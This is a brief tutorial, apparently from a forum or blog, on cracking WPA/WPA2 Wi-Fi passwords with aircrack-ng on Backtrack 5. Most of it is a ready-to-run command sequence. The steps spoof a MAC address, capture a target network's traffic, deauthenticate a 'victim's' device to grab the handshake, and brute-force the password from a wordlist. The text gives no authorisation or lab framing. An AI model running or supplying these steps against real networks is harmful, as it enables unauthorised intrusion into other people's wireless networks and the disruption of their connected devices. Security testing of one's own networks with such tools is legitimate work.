How to crack WPA/WPA 2 with aircrack-ng (Backtrack 5)

What you need

Backtrack (or Linux with aircrack-ng installed)
Virtual machine (e.g. Vmware or Virtualbox)
Password list
USB Wifi adapter capable of promiscuous mode: Alfa AWUS036H

Alright, fire up the terminal.

Commands

airmon-ng
airmon-ng start wlan0
ifconfig mon0 down
macchanger -m 00:11:22:33:44:55 mon0
ifconfig mon0 up
airodump-ng mon0 (let it scan for a minute)
CTRL + C (stop)
airodump-ng -c (channel) -w (filename. eg. wpa) —bssid (xx:xx:xx:xx:xx:xx) mon0

Now, we need to deauthenticate a user's pc currently on the network (mac)

open another console
aireplay-ng --deauth 1 (just one!) -e (ESSID) -c (victim's mac) mon0
Wait for WPA handshake ==> airodump-ng
—-all cracking can be done offline—-
aircrack-ng -w (wordlist) file (eg. WPA-01.cap)

this is the file from step 8

Note: Success of attack depends on whether your word-list contains the password or not.

Video

Any problems? Ask!

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